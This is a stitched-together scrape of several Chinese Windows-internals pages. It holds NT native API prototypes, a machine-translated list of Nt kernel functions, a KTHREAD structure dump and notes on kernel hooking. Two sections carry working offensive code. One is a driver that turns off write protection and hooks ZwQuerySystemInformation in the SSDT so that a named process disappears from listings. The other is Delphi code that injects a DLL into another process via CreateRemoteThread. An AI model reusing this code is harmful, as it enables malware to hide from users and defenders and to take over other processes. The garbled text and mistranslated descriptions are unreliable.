ExpirationTime,IN PTOKEN_USER User,IN PTOKEN_GROUPS Groups,IN PTOKEN_PRIVILEGES Privileges,IN PTOKEN_OWNER Owner,IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN PTOKEN_DEFAULT_DACL DefaultDacl,IN PTOKEN_SOURCE Source);NTSYSAPINTSTATUSNTAPINtCreateWaitablePort(OUT PHANDLE PortHandle,IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength,IN ULONG MaxMessageLength,IN ULONG MaxPoolUsage);NTSYSAPINTSTATUSNTAPINtDebugActiveProcess(IN HANDLE Process,IN HANDLE DebugObject);NTSYSAPINTSTATUSNTAPINtDebugContinue(IN HANDLE DebugObject,IN PCLIENT_ID AppClientId,IN NTSTATUS ContinueStatus);NTSYSAPINTSTATUSNTAPINtDelayExecution(IN BOOLEAN Alertable,IN PLARGE_INTEGER Interval);NTSYSAPINTSTATUSNTAPINtDeleteAtom(IN USHORT Atom);NTSYSAPINTSTATUSNTAPINtDeleteBootEntry(IN PUNICODE_STRING EntryName,IN PUNICODE_STRING EntryValue);NTSYSAPINTSTATUSNTAPINtDeleteDriverEntry(IN PUNICODE_STRING DriverName,IN PUNICODE_STRING DriverPath);NTSYSAPINTSTATUSNTAPINtDeleteFile(IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtDeleteKey(IN HANDLE KeyHandle);NTSYSAPINTSTATUSNTAPINtDeleteObjectAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN BOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtDeleteValueKey(IN HANDLE KeyHandle,IN PUNICODE_STRING V alueName);NTSYSAPINTSTATUSNTAPINtDeviceIoControlFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG IoControlCode,IN PVOID InputBuffer OPTIONAL,IN ULONG InputBufferLength,OUT PVOID OutputBuffer OPTIONAL,IN ULONG OutputBufferLength);NTSYSAPINTSTATUSNTAPINtDisplayString(IN PUNICODE_STRING String);NTSYSAPINTSTATUSNTAPINtDuplicateObject(IN HANDLE SourceProcessHandle,IN HANDLE SourceHandle,IN HANDLE TargetProcessHandle,OUT PHANDLE TargetHandle OPTIONAL,IN ACCESS_MASK DesiredAccess,IN ULONG Attributes,IN ULONG Options);NTSYSAPINTSTATUSNTAPINtDuplicateToken(IN HANDLE ExistingTokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN EffectiveOnly,IN TOKEN_TYPE TokenType,OUT PHANDLE NewTokenHandle);NTSYSAPINTSTATUSNTAPINtEnumerateBootEntries(IN ULONG Unknown1,IN ULONG Unknown2);NTSYSAPINTSTATUSNTAPINtEnumerateKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_INFORMA TION_CLASS KeyInformationClass, OUT PVOID KeyInformation,IN ULONG KeyInformationLength,OUT PULONG ResultLength);NTSYSAPINTSTATUSNTAPI NtEnumerateSystemEnvironmentValuesEx(IN ULONG Unknown1,IN ULONG Unknown2,IN ULONG Unknown3);NTSYSAPINTSTATUSNTAPINtEnumerateValueKey(IN ULONG Index,IN KEY_V ALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation,IN ULONG KeyValueInformationLength,OUT PULONG ResultLength);NTSYSAPINTSTATUSNTAPINtExtendSection(IN HANDLE SectionHandle,IN PLARGE_INTEGER SectionSize);NTSYSAPINTSTATUSNTAPINtFilterToken(IN HANDLE ExistingTokenHandle,IN ULONG Flags,IN PTOKEN_GROUPS SidsToDisable,IN PTOKEN_PRIVILEGES PrivilegesToDelete,IN PTOKEN_GROUPS SidsToRestricted,OUT PHANDLE NewTokenHandle);NTSYSAPINTSTATUSNTAPINtFindAtom(IN PWSTR String,IN ULONG StringLength,OUT PUSHORT Atom);NTSYSAPINTSTATUSNTAPINtFlushBuffersFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock);NTSYSAPINTSTATUSNTAPINtFlushInstructionCache(IN PVOID BaseAddress OPTIONAL,IN ULONG FlushSize);NTSYSAPINTSTATUSNTAPINtFlushKey(IN HANDLE KeyHandle);NTSYSAPINTSTATUSNTAPINtFlushVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG FlushSize,OUT PIO_STATUS_BLOCK IoStatusBlock );NTSYSAPINTSTATUSNTAPINtFlushWriteBuffer(VOID);NTSYSAPINTSTATUSNTAPINtYieldExecution(VOID);NTSYSAPINTSTATUSNTAPINtWriteVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN PVOID Buffer,IN ULONG BufferLength,OUT PULONG ReturnLength OPTIONAL );NTSYSAPINTSTATUSNTAPINtWriteRequestData(IN HANDLE PortHandle,IN PPORT_MESSAGE Message,IN ULONG Index,IN PVOID Buffer,IN ULONG BufferLength,OUT PULONG ReturnLength OPTIONAL);NTSYSAPINTSTATUSNTAPINtWriteFileGather(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PFILE_SEGMENT_ELEMENT Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL);NTSYSAPINTSTATUSNTAPINtWriteFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL);NTSYSAPINTSTATUSNTAPINtWaitLowEventPair(IN HANDLE EventPairHandle);NTSYSAPINTSTATUSNTAPINtWaitHighEventPair(IN HANDLE EventPairHandle);NTSYSAPINTSTATUSNTAPINtWaitForSingleObject(IN HANDLE Handle,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForMultipleObjects32(IN ULONG HandleCount,IN PHANDLE Handles,IN WAIT_TYPE WaitType,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForMultipleObjects(IN ULONG HandleCount,IN PHANDLE Handles,IN WAIT_TYPE WaitType,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForKeyedEvent(IN HANDLE KeyedEventHandle,IN PVOID Key,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForDebugEvent(IN HANDLE DebugObject,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL,OUT PDBGUI_WAIT_STA TE_CHANGE StateChange );NTSYSAPINTSTATUSNTAPINtVdmControl(IN VDMSERVICECLASS Service,IN OUT PVOID ServiceData);NTSYSAPINTSTATUSNTAPINtUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress);NTSYSAPINTSTATUSNTAPINtUnlockVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG LockSize,IN ULONG LockType);NTSYSAPINTSTATUSNTAPINtUnlockFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PULARGE_INTEGER LockOffset,IN PULARGE_INTEGER LockLength,IN ULONG Key);NTSYSAPINTSTATUSNTAPINtUnloadKeyEx(IN POBJECT_ATTRIBUTES KeyObjectAttributes,IN HANDLE EventHandle OPTIONAL);NTSYSAPINTSTATUSNTAPINtUnloadKey2(IN POBJECT_ATTRIBUTES KeyObjectAttributes, IN BOOLEAN ForceUnload);NTSYSAPINTSTATUSNTAPINtUnloadKey(IN POBJECT_ATTRIBUTES KeyObjectAttributes );NTSYSAPINTSTATUSNTAPINtUnloadDriver(IN PUNICODE_STRING DriverServiceName );NTSYSAPINTSTATUSNTAPINtTranslateFilePath(PFILE_PATH InputFilePath,ULONG OutputType,PFILE_PATH OutputFilePath,ULONG OutputFilePathLength);NTSYSAPINTSTATUSNTAPINtTraceEvent(IN ULONG TraceHandle,IN ULONG Flags,IN ULONG TraceHeaderLength,IN PEVENT_TRACE_HEADER TraceHeader );NTSYSAPINTSTATUSNTAPINtTerminateThread(IN HANDLE ThreadHandle OPTIONAL,。
Nt内核函数大全
Nt内核函数大全NtLoadDriver 服务控制管理器加载设备驱动NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序NtRegisterNewDevice 加载新驱动文件NtQueryIntervalProfile 返回数据NtSetIntervalProfile 指定采样间隔NtStartProfile 开始取样NtStopProfile 停止采样NtSystemDebugControl 实施了一系列的调试器支持的命令NtRegisterThreadTerminatePort 一个调试登记通知线程终止NtCreateDebugObject 创建一个调试对象NtDebugActiveProcess 使调试器附加到一个积极的过程和调试它NtDebugContinue 允许一个进程,以线程产生了调试事件NtQueryDebugFilterState 查询调试过滤国家一级的具体组成部分NtRemoveProcessDebug 停止调试指定的进程NtSetDebugFilterState 设置调试输出滤波器一级指定的组成部分NtSetInformationDebugObject 设置属性的调试对象NtWaitForDebugEvent 等待调试事件的进程正在调试NtFlushInstructionCache 清空指定进程的指令缓冲区NtInitiatePowerAction 启动电源事件NtPowerInformation 获得该系统的电源状态NtSetThreadExecutionState 设置一个线程的系统电源状态的要求NtRequestWakeupLatency 设置一个进程唤醒延迟NtClose 关闭处理任何对象类型NtDuplicateObject 复制句柄的对象NtCreateDirectoryObject 创建一个目录中的对象管理器命名空间NtCreateSymbolicLinkObject 创建一个符号链接的对象管理器命名空间NtOpenDirectoryObject 打开对象管理器名字空间目录NtQueryDirectoryObject 用列举的对象位于一个目录对象NtOpenSymbolicLinkObject 打开一个符号链接对象NtQuerySymbolicLinkObject 归来的名称,对象,符号链接点NtQueryObject 查询对象的属性,如它的名字NtSetInformationObject 树立了一个对象的属性NtTranslateFilePath 转换的文件路径的格式NtCreateKey 创建或打开一个注册表项NtOpenKey 打开一个现有的注册表项NtDeleteKey 删除注册表项NtDeleteValueKey 删除价值NtEnumerateKey 枚举子项中的一个关键NtEnumerateValueKey 列举了价值的一个关键NtFlushKey 刷新变化回到注册表在磁盘上NtInitializeRegistry 获取注册滚动.单参数对这一规定是否安装启动或正常开机NtNotifyChangeKey 允许一个程序的通知改变某一关键或其子项NtQueryKey 查询信息的一个关键NtQueryMultiplValueKey 检索信息多个指定值NtQueryValueKey 资讯检索指定的值NtReplaceKey 变化的支持文件的一个关键和其子项,用于备份/恢复NtSaveKey 保存的内容中的一个关键和子项文件NtRestoreKey 装载的内容主要从一个指定的文件NtSetInformationKey 集属性中的一个关键.NtSetValueKey 集相关的数据的价值NtCreatePort 创建一个港口对象NtAcceptConnectPort 接受一个端口连接NtCompleteConnectPort 完成了连接NtConnectPort 连接一个端口到另一个端口,接受连接. NtImpersonateClientOfPort 线程模拟确定的进程的另一端的一个港口NtListenPort 侦听端口的连接请求NtQueryInformationPort 获取信息的一个港口NtReadRequestData 阅读相关资料港口信息NtReplyPort 发送一个回复邮件NtReplyWaitReceivePort 发送一个回复邮件,然后等待传入请求消息NtReplyWaitReplyPort 发送一个回复邮件,然后等待传入的回复邮件NtRequestPort 发送请求信息NtRequestWaitReplyPort 发送请求信息,并等待传入的回复邮件NtWriteRequestData 填写数据的请求消息NtSecureConnectPort 创建一个安全的连接端口NtQueryPortInformationProcess 用于确定某个进程有相关的例外或调试端口NtAccessCheck 检查当前线程是否已进入一个对象根据其安全描述符NtAccessCheckAndAuditAlarm 生成相关的审计信息存取检查NtAdjustGroupsToken 加注或删除群体与象征NtAdjustPrivilegesToken 启用或禁用特权与象征NtCloseObjectAuditAlarm 生成审计讯息,指出一个对象被关闭了NtCreateToken 创建令牌对象NtDeleteObjectAuditAlarm 产生了审计事件表明,一个对象已删除NtDuplicateToken 重复象征对象NtImpersonateThread 允许一个线程假冒身份的其他用户NtOpenObjectAuditAlarm 产生了审计事件表明,一个物体开幕NtOpenProcessToken 获得句柄令牌在指定的进程NtOpenThreadToken 打开的句柄令牌在指定线程NtPrivilegeCheck 检查,以查看是否有人员令牌已指定特权启用NtPrivilegeObjectAuditAlarm 生成审核事件记录与特权检查NtPrivilegedServiceAuditAlarm 生成审计信息表明尝试使用指定的特权NtQueryInformationToken 获取信息的象征NtQuerySecurityObject 检索信息的对象的安全设置NtSetInformationToken 树立了一个象征性的属性NtSetSecurityObject 设置安全信息的一个对象NtAccessCheckByType 新的物件具体的安全支持NtAccessCheckByTypeAndAuditAlarm 新的物件具体的安全支持NtAccessCheckByTypeResultList 新的物件具体的安全支持NtFilterToken 新的物件具体的安全支持NtCompareToken 比较了两个令牌NtOpenProcessTokenEx 打开一个进程令牌NtOpenThreadTokenEx 打开一个线程令牌NtAlertResumeThread 恢复线程NtAlertThread 发出警报,以一个线程.NtTestAlert 检验是否有线程在等待警报NtCreateProcess 创建一个新的进程NtCreateThread 创建一个新线程NtCurrentTeb 返回一个指针,一个线程环境块NtDelayExecution 睡眠,暂停一个线程在指定的时间NtGetContextThread 检索硬件方面的线程NtSetContextThread 集硬件方面的线程NtOpenProcess 打开的句柄指定的进程NtOpenThread 打开的句柄指定的线程NtQueryInformationProcess 获取一个线程的属性NtQueueApcThread 程序呼叫到一个线程NtResumeThread 唤醒暂停线程NtSetInformationProcess 设置一个进程的属性NtSetInformationThread 设置一个线程的属性NtSuspendThread 暂停一个线程的执行NtTerminateProcess 删除进程NtTerminateThread 删除线程NtYieldExecution 原因线程放弃CPU NtCreateProcessEx 创建一个新的进程NtResumeProcess 恢复被暂停的进程NtSuspendProcess 暂停一个进程NtCancelTimer 取消计时器.NtCreateTimer 创建一个计时器.NtOpenTimer 打开一个计时器对象.NtQueryTimer 查询计时器的属性. NtQueryTimerResolution 查询系统的计时器决议. NtSetTimer 设置一个定时器到期活动. NtSetTimerResolution 设定系统计时器决议. NtQueryPerformanceCounter 查询系统的性能计数器. NtQuerySystemTime 取得当前时间. NtSetSystemTime 设置系统时间.NtGetTickCount 获取系统开机以来时间. NtCreateEvent 创建一个事件对象.NtOpenEvent 打开事件对象.NtClearEvent 清除标志着国家的事件.NtPulseEvent 信号的事件,然后重置它.NtQueryEvent 查询状况的一个事件. 8NtResetEvent 重置事件向非标志着国家.NtSetEvent 树立了一个活动,标志着国家.NtCreateEventPair 创建一个事件一双.NtOpenEventPair 打开一个事件对.NtSetHighEventPair 集高一半的活动,以表明对国家.NtSetHighWaitLowEventPair 集高一半的活动,以表明对国家和等待低一半,成为示意. NtSetLowEventPair 集低一半的事件对.NtSetLowWaitHighEventPair 集低一半的事件,并等待对高一半将成为标志. NtWaitHighEventPair 等待高一半事件对成为暗示.NtWaitLowEventPair 等待低一半事件对成为暗示.NtCreateMutant 创建一个突变的对象,称为互斥在用户模式.NtOpenMutant 打开一个突变对象,称为互斥用户模式.NtCreateSemaphore 创建一个信号灯对象.NtOpenSemaphore 打开一个信号灯对象.NtQuerySemaphore 查询状态的信号.NtReleaseSemaphore 标志着信号灯.NtSignalAndWaitForSingleObject 等待它标志着一次.NtWaitForMultipleObjects 等待多个对象,成为暗示.NtWaitForSingleObject 等待一个单一的对象,成为暗示.NtCreateKeyedEvent 创建一个输入事件对象.NtOpenKeyedEvent 打开一个名为键控事件对象.NtReleaseKeyedEvent 标志着键控事件对象.NtWaitForKeyedEvent 等待事件成为键控信号.NtAllocateVirtualMemory 分配虚拟内存.NtFreeVirtualMemory 释放虚拟内存.NtQueryVirtualMemory 查询范围的虚拟内存的属性.NtProtectVirtualMemory 集保护的一系列虚拟内存.NtLockVirtualMemory 锁一系列的虚拟内存.NtUnlockVirtualMemory 解锁一系列的虚拟内存.NtReadVirtualMemory 读取范围内的虚拟内存从进程.NtWriteVirtualMemory 写了一系列的虚拟内存从进程.NtFlushVirtualMemory 刷新记忆体映射的记忆体范围的文件在磁盘上.NtCreateSection 创建了一系列的内存支持文件.NtOpenSection 打开一个名为内存映射节对象.NtExtendSection 延长现有的各种虚拟内存支持文件.NtMapViewOfSection 地图一个文件中的虚拟内存.NtUnmapViewOfSection 一部分虚拟内存的支持文件.NtAreMappedFilesTheSame 装载机使用这一有效看看是否一个给定的文件已经被映射到内存中.NtCancelIoFile 取消I/O请求.NtCreateFile 创建或打开一个文件,目录或设备对象.NtCreateIoCompletion 告诉I/O管理器,一个线程希望时得到通知的I/O完成. NtOpenIoCompletion 打开一个名为I/O完成对象.NtSetIoCompletion 树立了一个I/O完成对象的属性.NtQueryIoCompletion 具体信息检索的I/O完成对象.NtRemoveIoCompletion 消除了一个I/O完成回调.NtDeleteFile 删除一个文件对象.NtDeviceIoControlFile 发送IOCTL装置的设备驱动,这是一个打开的文件对象. NtFlushBuffersFile 清除内存中的文件数据到磁盘.NtFsControlFile 发送一个I/O控制IOCTL为代表的公开设备对象.通常用于文件系统有关的特别命令.NtLockFile 锁了一系列文件的同步访问.NtUnlockFile 解锁了一系列文件的同步访问.NtNotifyChangeDirectoryFile 寄存器一个线程希望得到通知时,一个目录的内容发生变化. NtOpenFile 打开一个现有的文件.NtQueryAttributesFile 取得一个文件的属性.NtQueryDirectoryFile 检索目录的内容.NtQueryEaFile 检索文件的扩展属性.NtSetEaFile 集的扩展属性文件.NtQueryFullAttributesFile 获得文件的全部属性.NtQueryInformationFile 检索方面的具体资料的档案.NtSetInformationFile 确定具体的资料档案.NtQueryV olumeInformationFile 检索有关特定磁盘卷.NtSetVolumeInformationFile 集资讯量.NtReadFile 读取数据文件.NtWriteFile 写入数据文件.NtQueryQuotaInformationFile 查询NTFS磁盘配额信息.NtSetQuotaInformationFile 设置NTFS磁盘配额信息.NtQuerySystemInformation 性能计数器注册表中的出口的大量信息可通过这一呼吁. NtSetSystemInformation 各种行政程序使用此功能.NtShutdownSystem 关闭与选择重新启动.NtCreateJobObject 创建一个作业对象.NtOpenJobObject 打开一个作业对象.NtQueryInformationJobObject 撷取资讯作业对象.NtAssignProcessToJobObject 指定一个进程作业对象.NtSetInformationJobObject 树立了一个作业对象的属性.NtTerminateJobObject 终止作业对象,终止其所有相关的进程.NtCreateJobSet 创建了一个集多种就业工作的对象.。
Windows 内核级进程隐藏、侦测技术(4)
Windows 内核级进程隐藏、侦测技术(4) Windowsxx 内核级进程隐藏、侦测技术ULONG ProcessId; //进程ID号ULONG InheritedFromProcessId; //继承语柄的进程ID号ULONG HandleCount; //进程翻开的语柄数量ULONG Reserved2[2]; //VMCOUNTERS VmCounters; //虚拟内存的使用情况IOCOUNTERS IoCounters; //IO操作的统计,Only For 2000 struct SYSTEMTHREADS Threads[1]; //描述进程中各线程的数组当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。
我们要做的仅仅是把要隐藏的进程从链中删除。
4. 核心实现//系统效劳表入口地址extern PServiceDescriptorTableEntry KeServiceDescriptorTable;NTSTATUS DriverEntry(IN PDRIVEROBJECT DriverObject, IN PUNICODESTRING RegistryPath)……asm{mov eax, cr0mov CR0VALUE, eaxand eax, 0fffeffffh //DisableWriteProtectmov cr0, eax}//取得原来ZwQuerySystemInformation的入口地址RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION) (((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)] );//Hook((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)]=HookFunc;//EnableWriteProtectasm{mov eax, CR0VALUEmov cr0, eax}……return STATUSSUCCESS;VOID DriverUnload (IN PDRIVEROBJECT pDriverObject)……//UnHook恢复系统效劳的原始入口地址((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)] = RealZwQuerySystemInformation;……NTSTATUS HookFunc(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)NTSTATUS rc;struct SYSTEMPROCESSES *curr;// 保存上一个进程信息的指针struct SYSTEMPROCESSES *prev = NULL;//调用原函数rc = (RealZwQuerySystemInformation) ( SystemInformationClass,SystemInformation,SystemInformationLength, ReturnLength);if(NTSUCCESS(rc)){if(5 == SystemInformationClass)//如果系统查询类型是SystemProcessesAndThreadsInformation {curr = (struct SYSTEMPROCESSES *)SystemInformation;//加第一个偏移量得到第一个system进程的信息首地址if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);while(curr){if(RtlCompareUnicodeString(&hideprocessname, &curr->ProcessName, 1) == 0)//找到要隐藏的进程if(prev){if(curr->NextEntryDelta){//要删除的信息在中间prev->NextEntryDelta += curr->NextEntryDelta;}else{//要删除的信息在末尾prev->NextEntryDelta = 0;}}else{if(curr->NextEntryDelta){//要删除的信息在开头(char *)SystemInformation += curr->NextEntryDelta; }else{SystemInformation = NULL;}//如果链下一个还有其他的进程信息,指针往后移if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta); else{curr = NULL;break;}}if(curr != NULL){//把当前指针设置成前一个指针,当前指针后移prev = curr;if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);else curr = NULL;}} // end while(curr)}}return rc;通过IOCTL和Ring3级的应用程序通过DeviceIoControl (API)交互信息。
内核 hook 函数 -回复
内核hook 函数-回复什么是内核hook 函数以及它的作用?内核hook 函数是一种在操作系统内核中实现的特殊函数,用于拦截和修改系统内核中的某些操作或事件。
通过使用内核hook 函数,我们可以监视和控制系统内核中的关键过程,从而实现对系统行为的定制化修改和扩展。
在计算机系统中,内核是操作系统的核心部分,负责管理和控制所有硬件和软件资源,以支持应用程序的正常运行。
内核的行为往往是固定和预定义的,而内核hook 函数提供了一种在内核级别上对其进行自定义的方法。
内核hook 函数的作用可以分为以下几个方面:1. 监视和捕获事件:内核hook 函数允许我们拦截和监视系统内核中发生的事件和操作。
这些事件可能包括文件的读写操作、网络数据的传输、进程的创建和终止等。
通过捕获这些事件,我们可以获取详细的系统信息和运行状态,从而进行进一步的分析和处理。
2. 修改和拦截系统调用:系统调用是应用程序与操作系统之间的接口,用于访问操作系统提供的服务和资源。
通过使用内核hook 函数,我们可以拦截和修改系统调用的参数和返回值。
这样,我们可以对系统调用的行为进行定制化修改,以提供额外的功能或进行安全控制。
3. 实现安全策略:内核hook 函数可以用于实现操作系统的安全策略。
例如,我们可以编写一个内核hook 函数来拦截敏感文件的读写操作,并进行权限验证。
这样,即使应用程序请求读写敏感文件,也可以通过内核hook 函数对访问进行审计和限制。
4. 扩展和优化功能:内核hook 函数可以用于扩展和优化系统功能。
通过在内核中插入自定义的hook 函数,我们可以添加新的系统服务或修改现有的服务。
例如,我们可以编写一个内核hook 函数来提供自定义的文件系统接口,以支持特定的文件加密算法或存储优化。
内核hook 函数的实现步骤:实现内核hook 函数并不是一件简单的事情,需要考虑系统的复杂性和安全性。
以下是实现内核hook 函数的一般步骤:1. 确定hook 的目标:首先需要确定要hook 的目标函数或事件。
进程隐藏的若干方法
一、最为古老的DLL注入方法。
虽说古老,但也经历了不少变动,最初的win9X的系统没有Psapi,没有进程快照,所以一般是三级跳。
跳啊跳……NT下可以直接用OpenProcess打开进程(打不开的话,提权到Debug 权限),利用LoadLibrary,并且申请远程地址空间,然后把DLL注入到目标EXE进程当中,可谓省时省力,这也是目前应用作为普遍的方法之一。
典型代码:Delphi(Pascal) codefunction AttachToProcess(const HostFile, GuestFile: string; const PID: DWORD = 0): DWORD;varhRemoteProcess: THandle;dwRemoteProcessId: DWORD;cb: DWORD;pszLibFileRemote: Pointer;iReturnCode: Boolean;TempVar: DWORD;pfnStartAddr: TFNThreadStartRoutine;pszLibAFilename: PwideChar;beginResult := 0;EnabledDebugPrivilege(True);Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1);StringToWideChar(GuestFile, pszLibAFilename, Length(GuestFile) * 2 + 1);if PID > 0 thendwRemoteProcessID := PIDelseFindAProcess(HostFile, False, dwRemoteProcessID);hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + {允许远程创建线程}PROCESS_VM_OPERATION + {允许远程VM操作}PROCESS_VM_WRITE, {允许远程VM写}FALSE, dwRemoteProcessId);cb := (1 + lstrlenW(pszLibAFilename)) * sizeof(WCHAR);pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, cb, MEM_COMMIT, PAGE_READWRITE));TempVar := 0;iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, cb, TempVar);if iReturnCode thenbeginpfnStartAddr := GetProcAddress(GetModuleHandle('Kernel32'), 'LoadLibraryW'); TempVar := 0;Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);end;Freemem(pszLibAFilename);end;二、EXE注入。
内核编程之SSDTHook(3)HookNtCreateSection监控所有可执行模块加载
内核编程之SSDTHook(3)HookNtCreateSection监控所有可执行模块加载转载:/zuishikonghuan/article/details/50924829 在上两篇博文中,我介绍了SSDTHook的原理,并给出了一个实例--通过Hook NtOpenProcess来实现进程保护这次我们玩个更好玩的,拦截所有可执行模块的载人!杀软都有这种功能,当一个程序运行时,他能得到具体路径,检查是否安全后,还可以通知用户询问是否允许运行。
这么有趣的功能,要如何实现呢,其实出了hook也有办法,但是我们现在研究的是hook,就hook ssdt吧,那么问题来了,要hook 那个系统服务函数呢?在用户模式创建进程,大家一下就会想到CreateProcess,然后想到CreateProcessAsUser等,正好SSDT里有一个NtCreateProcess,很多人想当然就想到要hook这个(其实我当时也是),其实我们有一个捷径,我们可以hook这个函数:NtCreateSection(NT 5.x,2000-XP)或NtCreateUserProcess (NT 6.x,NT 10.x,Vista-W10),当一个可执行模块载人时,系统会先调用NtCreateFile来打开文件,创建文件对象,然后调用NtCreateSection,再调用NtCreateProcess,然后再完成一些其他工作,比如创建线程,通知Win32子系统,因此我们可以Hook这个系统服务函数来拦截可执行模块的载人,但在Vista以后,系统不会再调用NtCreateSection,而是整个过程统统交给了NtCreateUserProcess来处理,但是这不以为着在Vista+对NtCreateSection做hook一点价值都没有,其实,DLL的载人内存也需要经过这一个过程,因此我们可以通过对这个函数做hook实现对DLL载人的监控和拦截,再退一步说,如果我们想在XP上监控和拦截进程的创建,就要hook NtCreateSection。
NT内核级进程隐藏3-线程调度链表及Hook 内核函数
NT内核级进程隐藏3-线程调度链表及Hook内核函数基于线程调度链表的检测和隐藏技术1.什么是ETHREAD和KTHREAD块学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。
Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。
ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。
在KTHREAD块中包含了windows2000内核需要访问的信息。
这些信息用于执行线程的调度和同步正在运行的线程。
kd>!kthreadstruct_KTHREAD(sizeof=432)+000struct_DISPA TCHER_HEADER Header+010struct_LIST_ENTRY MutantListHead+018void*InitialStack+01c void*StackLimit+020void*Teb+024void*TlsArray+028void*KernelStack+02c byte DebugActive+02d byte State+02e byte Alerted[2]+030byte Iopl+031byte NpxState+032char Saturation+033char Priority+034struct_KAPC_STATE ApcState+034struct_LIST_ENTRY ApcListHead[2] +044struct_KPROCESS*Process+04c uint32ContextSwitches+050int32WaitStatus+054byte WaitIrql+055char WaitMode+056byte WaitNext+057byte WaitReason+058struct_KWAIT_BLOCK*WaitBlockList +05c struct_LIST_ENTRY WaitListEntry+064uint32WaitTime+068char BasePriority+069byte DecrementCount+06a char PriorityDecrement+06b char Quantum+06c struct_KWAIT_BLOCK WaitBlock[4] +0cc void*LegoData+0d0uint32KernelApcDisable+0d4uint32UserAffinity+0d8byte SystemAffinityActive+0d9byte PowerState+0da byte NpxIrql+0db byte Pad[1]+0dc void*ServiceTable+0e0struct_KQUEUE*Queue+0e4uint32ApcQueueLock+0e8struct_KTIMER Timer+110struct_LIST_ENTRY QueueListEntry+118uint32Affinity+11c byte Preempted+11d byte ProcessReadyQueue+11e byte KernelStackResident+11f byte NextProcessor+120void*CallbackStack+124void*Win32Thread+128struct_KTRAP_FRAME*TrapFrame+12c struct_KAPC_STATE*ApcStatePointer[2] +134char PreviousMode+135byte EnableStackSwap+136byte LargeStack+137byte ResourceIndex+138uint32KernelTime+13c uint32UserTime+140struct_KAPC_STATE SavedApcState+158byte Alertable+159byte ApcStateIndex+15a byte ApcQueueable+15b byte AutoAlignment+15c void*StackBase+160struct_KAPC SuspendApc+190struct_KSEMAPHORE SuspendSemaphore+1a4struct_LIST_ENTRY ThreadListEntry+1ac char FreezeCount+1ad char SuspendCount+1ae byte IdealProcessor+1af byte DisableBoost在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。
ntoskrnl内部函数
ntoskrnl内部函数
ntoskrnl.exe是Windows操作系统的核心文件之一,它包含了
许多内部函数用于操作系统的核心功能。
这些内部函数包括但不限
于以下几个方面:
1. 内存管理,ntoskrnl.exe包含了许多内部函数用于管理系
统内存,包括分配、释放和管理物理内存和虚拟内存的功能。
这些
函数对于操作系统的稳定性和性能起着至关重要的作用。
2. 进程和线程管理,ntoskrnl.exe中的内部函数负责管理系
统中的进程和线程,包括创建、销毁、调度和同步进程和线程的功能。
这些函数对于操作系统的多任务处理和并发执行起着重要作用。
